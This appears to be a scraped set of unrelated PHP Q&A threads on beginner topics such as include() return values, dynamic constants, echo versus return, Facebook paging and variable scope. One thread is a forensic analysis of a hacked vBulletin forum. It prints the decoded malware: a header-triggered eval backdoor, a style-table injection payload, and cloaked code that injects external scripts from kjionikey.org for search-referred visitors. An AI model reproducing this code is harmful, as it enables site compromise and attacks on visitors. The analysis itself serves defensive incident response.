With my function what I have written I try thereby 2 things.
The links should be called like this http://localhost/?login=Bla, Now it is like this http://localhost/login,php?login "Bla
Next I would have asked, in my function a 1 is given after each call. I just can't figure out where this comes from, I've been sitting on this problem for a long time.
Output with the 1
This is the code with which I can call the pages
function Seite($pagename, $lay){
function Seite($pagename, $lay){
$path = "$lay/$pagename.php";
if (file_exists($path)) {
openSeite($path);
}
}
function openSeite($pageurl){
$fc = require($pageurl);
echo $fc;
}
function echopage($slug, $fade){
// $slug = ?SLUG=Seite
// $fade = Ordner des Layout
$page = isset($_GET["$slug"]) ? $_GET["$slug"] : "error";
$contente = seite($page, "$fade");
echo $contente;
}
I call the content on the index.php with
<? echopage("login", "admin/layout"); ?>
isset($_GET["$slug"]) returns a 1 because it is set (true), write a traditional conditional with the echo inside the if statement.
*Better Yet assign your output to a variable and concatenate the values accordingly.
$output = NULL;
if(isset($_GET["$slug"]){
$contente = seite($page, "$fade");
$output .= $contente;
}else{
//handle error
}
HTML:
<?=$output?><!--Output your displayed text held in the variable-->
ISSUE:
$page = isset($_GET["$slug"]) ? $_GET["$slug"] : "error";
You are essentially returning the set value, which is 1 also true.
From php manual for value: Returns TRUE if var exists and has any value other than NULL. FALSE otherwise.
You can test this by simply writing out a line of code echo isset($var); and checking the test php page. Then try defining a variable and doing the same thing. $var = "this is set"; then echo isset($var);, you will get a 1.
Related
look at this syntax of variable name modifying:
${'a' . 'b'} = 'hello there';
echo $ab;
this returns "hello there"
But i want do declare defined variables dynamical.
$error_code = $_GET[error_code]; //for example: 404
define(E404, 'Not found');
echo E{$error_code};
It return error, i want to generate E404 dynamical on php codes and get its value.
I have no idea what the syntax or the technique I'm looking for is here, which makes it hard to research.
You need to call constant() to retrieve the value of a constant from a string. Your example should look like:
$error_code = 404;
define('E404', 'Not found');
echo constant("E{$error_code}");
and it will display Not found.
<?php
$ErrorCode = $_GET['error_code']; // Where error_code = 404
$Errors = array(); // here we are creating a new array.
$Errors[$ErrorCode] = "Whatever"; // here we are setting a key of the new array, with the keys name being equal to the $ErrorCode Variable
print_r($Errors); // Would return Array( [404] => Whatever);
echo $Errors["404"]; // Would return Whatever
?>
Well Php has a feature called variable variables. See this link: http://php.net/manual/en/language.variables.variable.php. It allows a variable name to be assigned to a variable.
I have a PHP script that calls the function fileRead2 function from the file fileRead2.php.
The function below reads username.txt (Which display's the username).
vim fileRead2.php
<?php
function fileRead2() {
global $fh, $line;
$fh = fopen('username.txt','r');
while ($line = fgets($fh)) {
// <... Do your work with the line ...>
echo($line);
}
fclose($fh);
}
?>
If I run the linux command cat on the linux filesystem it show's 'tjones' (the username.)
I run the below in a script.
<?php
// Read the Username
require_once('fileread2.php');
$userName = fileRead2();
echo $userName;
var_dump($userName);
>?
It echo's $userName that display's 'tjones' however var_dump show's its output as NULL.
Is there any reason why var_dump shows the $userName variable as NULL, when it should be string 'tjones'?
The reason I ask is because I need the variable $userName; for other parts of code and because it's NULL nothing else is working, and I have no idea why?
You'd need to modify fileRead2.php to use return instead of echo:
<?php
function fileRead2() {
global $fh, $line;
$fh = fopen('username.txt','r');
$lineReturn = "";
while ($line = fgets($fh)) {
// <... Do your work with the line ...>
$lineReturn = $line;
}
fclose($fh);
return $lineReturn;
}
?>
echo is used to send information to the standard output - what this means is that if you run a php script in the terminal and use echo, it's going to be sent to the terminal (assuming you don't redirect the standard output elsewhere); if you're using the php script to generate web content, it will output the information to the browser (this is a simplification).
Return on the other hand is used inside functions to send information to blocks of code outside of the function. So in your case, you want the function fileRead2 to read from the username.txt file, and then return the first line (username) so that you can set a variable that's outside of the function. In order to do this you have to use return.
As another note, if you're not doing any additional "work" on the line beyond setting the $line variable to the fgets output and the username is on the first line of the username.txt file, then you don't need a while loop. Instead you can just do $line = fgets($fh);, and then of course close the file and return the $line variable.
You function fileRead2() have not a return clause, so it return type void. And the var_dump()'s return type is also void.
so
$userName is null, so echo $userName output nothing.
var_dump($username) will output the NULL.
echo var_dump($userName) output nothing.
And in your code the readfile2 just add return $line; will return false
this is my first project using facebook api and facebook PHP sdk , basically i'm trying to get all user statuses. I wrote a script that should work , but i got an 500 error (even if i changed max execution times or set time limit (0)), but only when i use a recursive function inside, take a look to the code :
$request = new FacebookRequest(
$session,
'GET',
'/me/statuses'
);
$response = $request->execute();
$graphObject = $response->getGraphObject();
$x = $graphObject->getProperty('data');
$y = $x->asArray(); //now i got an array
$paging = $graphObject->getProperty('paging'); // i pick paging with "next" and "prevoiuos "
$paged = $paging->asArray(); //as array
$counter = 0 ;
foreach ($y as $el){
echo ('<h3>'.$y[$counter]->message.'</h3>');
echo "<br/>";
echo "<br/>";
$counter++;
}
$next = $paged['next']; // now i got url for load 20 more statuses
$response = file_get_contents($next); // get content of url
//recoursive function every time i use looper with content of next
function looper($response){
$array = json_decode($response, true);
$secondarray = ($array['data']);
$paging = ($array['paging']); // again i pick url for load next statuses
$next = $paging['next'];// again i pick url for load next statuses
$nextResponse = file_get_contents($next);// again i pick url for load next statuses and i will use this.
$counter2 = 0 ;
foreach ($secondarray as $el){ // put on page next 20 statuses
echo ('<h3>'. $secondarray[$counter2]['message'] .'</h3>');
echo "<br/>";
echo "<br/>";
$counter2++;
}
if ( is_null($nextResponse) == false ){ // if in next call i got 20 more statuses(not empty) call again this function
looper($nextResponse);
} else { echo "last message" ; die();} //else stop.
}
looper($response);
}
If i dont recall the function (basically i comment out the if statement) script works fine and prints 20+20 statuses , else it give me 500 internal error.
As i said i tried changin max execution time or set_time_limit(0), but nothing happens.
I'm not sure if problem is my hosting (godaddy) , or if my script is not good / not efficent. any help?
Thanks Nico
I think I found your issue. You are asigning $nextResponse the value returned by file_get_contents. See http://php.net/manual/es/function.file-get-contents.php it returns false in case of content couldnt be retrieved. Try checking for false instead of null:
..........
if ( false != $nextResponse ){ // if in next call i got 20 more statuses(not empty) call again this function
looper($nextResponse);
} else { echo "last message" ; die();} //else stop.
I found a couple vBulletin sites I administer getting hacked recently. They use the latest version of the 3.8 series (3.8.7 Patch Level 2). I am usually pretty good at finding the holes where they get in and patching them up, but this one is stumping me. They are injecting data into the MySQL tables. The attack always happens when they make a GET request to the faq.php script. I was able to save data when the attack occurs. This was the $_REQUEST, $_GET, $_POST, $_COOKIE, and $_SERVER arrays. The only thing I saw that looked out of place is that there were two new $_SERVER keys, HTTP_SOVIET and HTTP_PACK:
http://pastebin.com/b6WdZtfK
I have to assume this is the root of the issue, but I cannot for the life of me figure out how the attacker can set this variable. There is nothing in the request string, nothing in the cookie array, it is a GET request, not POST.
Any idea?
A variable like $_SERVER['HTTP_*'] can set by just adding headers to the HTTP request.
A simple command line example would be:
PHP Page:
print_r($_SERVER);
Then on command line:
curl --header "SOVIET: 123" localhost
You'll see that $_SERVER['HTTP_SOVIET'] is equal to 123.
In this case, the contents of HTTP_SOVIET are base64 encoded (give away, it ends in ==).
Unencoded, it turns into:
function iai() {
global $db;
$base = base64_decode('JExLZ1RMSEs9KCRPX3JaeGw9IlxceDYyIi4iXFx4NjEiLiJcXHg3MyIuIlxceDY1Ii4iXFx4MzYiLiJcXHgzNCIuIlxceDVmIi4iXFx4NjQiLiJcXHg2NSIuIlxceDYzIi4iXFx4NmYiLiJcXHg2NCIuIlxceDY1ImFuZCRldFZKT1ZPPSJcXHg3MCIuIlxceDcyIi4iXFx4NjUiLiJcXHg2NyIuIlxceDVmIi4iXFx4NzIiLiJcXHg2NSIuIlxceDcwIi4iXFx4NmMiLiJcXHg2MSIuIlxceDYzIi4iXFx4NjUiKT9AJGV0VkpPVk8oIlxceDJmXFx4MmVcXHgyZlxceDY5XFx4NjUiLCRPX3JaeGwoIlFHVjJZV3dvWW1GelpUWTBYMlJsWTI5a1pTZ25XbTVXZFZrelVuQmlNalJuVTBkU01GRnRiRWhXUlVaNVMwTnJaMlYzTUV0YU1uaDJXVzFHYzBsRFVuQmpSamswVDNjd1MwcEhXbkJpUjFabVdrTkJPVWxEWTNaa1J6RjNURE5DYjJOR2JGTlpNRTVEWWxWS2VVcDZjMDVEYVZKd1kwWTVjMGxFTUdkTFNFNHdZMjFzZFZwNWJIQmpSRXB6WWp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BwSGJIZFlNMmRuVUZOQ1IyVnJkREZWUjFwd1VWVmpiMHRVYzA1RGFWSm9TVVF3WjFsWVNubFpXR3R2U25wSmVFNXBOSGxOZW10MVNubDNiazFxUVRWTWFtY3hUR2xqYzBwNlJUTk5lVFI1VGxSVmRVcDVkMjVOVkdONlRHcEZOVTVETkc1TVEyTTBUMU0wZVUxRVkzVktlWGR1VG5wUmRVMVVTVEZNYVdOelNucGplVXhxUlRCTWFXTnpTbnBaTWt4cVNUQlBVelJ1VEVOak1rNXBOSGhOUkVsMVNubDNiazVxVVhWTmFrMTZUR2xqY0U5M01FdGFiVGw1V2xkR2FtRkRaMnRaVTBKb1kzbEJhMWxwYTJkbGR6QkxTVWRzYlV0SVFubGFWMlJtWWxkR01Ga3laMjlKYVRsbFNrZEpkbUZUU1hOS1IyeDNXRE5uY0V0VFFubGFXRkl4WTIwMFoyUklTakZhVkhOT1EybENPVVJSY0RsRVVYQndXbWxuYUZwWE1YZGtTR3R2U2tZNVZGSldTbGRTVmtwaVNqQm9WVlpHUW1aVmExWkhVbFpLUmxWcFpHUkxVMnRuWlhjd1MwbEhiRzFMUlVaM1dESm9ZVkpHT0c5TFUwSm9ZbTFSWjBsWE9VNVhWbXhRV1ZoSmIwdFRRbWhpYlZGblNWVm9hMlJGU25CU01WSkNZMmxuY0V0VFFqZEVVVzluU2tjMWJHUXpVbXhsU0ZGblVGTkNURnBWYUVsYVIyeFpWRU5uYTJKdFZqTmtSMVkwWkVOck4wUlJiMmRtVVRCTFpsRXdTMk50VmpCa1dFcDFTVU5TZFZwWVpEQmFXR2d3VDNjOVBTY3BLVHM9IiksIi4iKTpudWxsOw==');
$style = $GLOBALS['style'];
if(!empty($style['styleid'])) {
$a = $db->query_first('select styleid from '.TABLE_PREFIX.'style where styleid=\''.$style['styleid'].'\'');
if($a['styleid']!='' and $a['replacements']=='') {
$db->query_write('update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\'');
echo 'ok';
} else echo 'error';
}
exit;
}
#iai();
It's worth noting that query there:
'update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\''
Check your style table, as that's one way/the way code is exposed to the user.
Renaming your style table to something else would likely mitigate the effects of this attack for now.
In there, the base64 bit has more bas64 in, which has more bas64 in which eventually evals:
function HdtBiGTAr() {
global $ip_x;
$file_d = '/tmp/phpYRcCBmBr';
$ip_l = (string)ip2long($ip_x);
if(file_exists($file_d) and #is_writable($file_d) and (($size_f = #filesize($file_d)) > 0)) {
$data = file_get_contents($file_d);
if($size_f > 1000000) file_put_contents($file_d,mt_rand(100,999).',');
if(!stristr($data,$ip_l)) {
file_put_contents($file_d,"$ip_l,",FILE_APPEND);
} else return true;
}
}
function KeHHdiXL($in) {
global $vbulletin,$ip_x;
$domain = 'kjionikey.org';
$find_me = 'vbulletin_menu.js?v=387"></script>';
$sec = 'SnBdhRAZRbGtr_';
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16);
$url = mt_rand(100,999999).'.js?250568&'.$key;
return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in;
}
function FzKuPfiAG() {
$ip = '';
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$arr = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);
if(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/',$arr['0'])) {
$ip = $arr['0'];
}
}
return (!empty($ip)) ? $ip : $_SERVER['REMOTE_ADDR'];
}
function Ap_hZD_() {
if(preg_match('#google|msn|live|altavista|ask|yahoo|aol|bing|exalead|excite|lycos|myspace|alexa|doubleclick#i',$_SERVER['HTTP_REFERER'])) {
if(preg_match('#msie|firefox|opera|chrome#i',$_SERVER['HTTP_USER_AGENT'])) return true;
}
}
function oMYYOar() {
global $ip_x;
$ip_x = FzKuPfiAG();
$a = array('216.239.','209.85.','173.255.','173.194.','89.207.','74.125.','72.14.','66.249.','66.102.','64.233.');
foreach($a as $b) {
if(preg_match("/^$b/i",$ip_x)) return true;
}
}
if(!empty($_SERVER['HTTP_REFERER'])) {
if(Ap_hZD_() and !oMYYOar() and !HdtBiGTAr()) {
$newtext = KeHHdiXL($newtext);
}
}
return $newtext;
This writes to a file called /tmp/phpYRcCBmBr, so I'd check what that says.
It also hides it's behaviour from search engines, which is nice of it.
The bad bit for users is likely:
function KeHHdiXL($in) {
global $vbulletin,$ip_x;
$domain = 'kjionikey.org';
$find_me = 'vbulletin_menu.js?v=387"></script>';
$sec = 'SnBdhRAZRbGtr_';
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16);
$url = mt_rand(100,999999).'.js?250568&'.$key;
return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in;
}
Which puts some JS on the page hosted by kjionikey.org. That JS requires a key based on the IP address.
I'd check any code that reads/executes the contents of random $_SERVER variables, but why that would be in there, I don't know.
The attacker in this case has a backdoor code installed in one of your FAQ phrases (vbulletin phrases db table) as a set of chr() PHP function calls.
${$GeAZvLDI=chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95) ...
that basically when eval'd through the faq.php script, gets decoded to:
if(!empty($_SERVER['HTTP_PACK']) and !empty($_SERVER['HTTP_SOVIET']))
{
if(md5(md5($_SERVER['HTTP_PACK'])) == 'rDGeOKeGGdiVLFy')
#eval(base64_decode($_SERVER['HTTP_SOVIET']));
}
You may find the affected vBulletin phrases by issuing a SQL query like so
SELECT varname, text FROM `phrase` where text like '%chr(%';
Though there are many variants of this, some are using HEX strings, base64decode, assert, pack calls or just plain PHP.
ok so im here trying to practice some php (im a super beginner) and so long story short,
i put form elements in one page, passed it to the process php.
Im just messing aound trying to see what ive learned so far. i dont get any errors, just dont understand why it doesnt work.
<?php
$yourname = htmlspecialchars($_POST['name']);
$compname = htmlspecialchars($_POST['compName']);
$response = array("please enter correct information","hmm" . "$yourname");
function nametest() {
if (!isset($yourname)){
$yourname = $response[0];}
else {
$yourname = $response[1];;
}
}
?>
<?php nametest(); ?>
what im trying to do is, that if the name isnt set, to make a variable equal to a value inside response.
Try
function nametest() {
if (!isset($yourname)){
$yourname = $response[0];
} else {
$yourname = $response[1];
}
return $yourname;
}
print nametest();
The function needs to return a value to be printed. I also noticed you have two ;; behind line 5.
Because you are assigning $yourname and $compname in the first two lines:
$yourname = htmlspecialchars($_POST['name']);
$compname = htmlspecialchars($_POST['compName']);
UPDATE You can check if these are set in POST, and therefore not need to check them later:
$yourname = isset($_POST['name']) ? htmlspecialchars($_POST['name']) : "oops, no value";
$compname = isset($_POST['compName']) ? htmlspecialchars($_POST['compName']) : "oops, no value";
They will always be set, even if NULL or empty. So, your later calls to isset() will always be true.
Instead, you may check if they are empty with the empty() function:
UPDATE Not necessary according to corrections in comments. Your isset() should work.
// Check with empty()
// but still won't work properly. keep reading below...
function nametest() {
if (!empty($yourname)){
$yourname = $response[0];}
else {
$yourname = $response[1];;
}
}
However, there is another problem here of variable scope. The variables are not available inside the function unless you either pass them in as parameters or use the global keyword:
// $yourname is passed as a function argument.
function nametest($yourname, $response) {
if (!empty($yourname)){
$yourname = $response[0];}
else {
$yourname = $response[1];;
}
}
Getting there... Now your function assigns $yourname, but it doesn't return or print any value. Add a return statement, and then you can echo out the result:
function nametest($yourname, $response) {
if (!empty($yourname)){
$yourname = $response[0];}
else {
$yourname = $response[1];;
}
// Add a return statement
return $yourname;
}
// Now call the function, echo'ing its return value
echo nametest($yourname, $response);
Variable Scope is the biggest mistake here, your function can not 'see' the variables that you created outside of it, do this:
<?php
.
.
.
function nametest($yourname, $response) { // This creates two new variables that
// are visible only by this function
if (!isset($yourname)){
$yourname = $response[0];
} else {
$yourname = $response[1]; // Get rid of the extra semicolon
}
return $yourname; // This $yourname is only visible by this function so you
// need to send it's value back to the calling code
}
?>
<?php nametest($yourname, $response); ?> // This sends the values of the
// variables that you created at the
// top of this script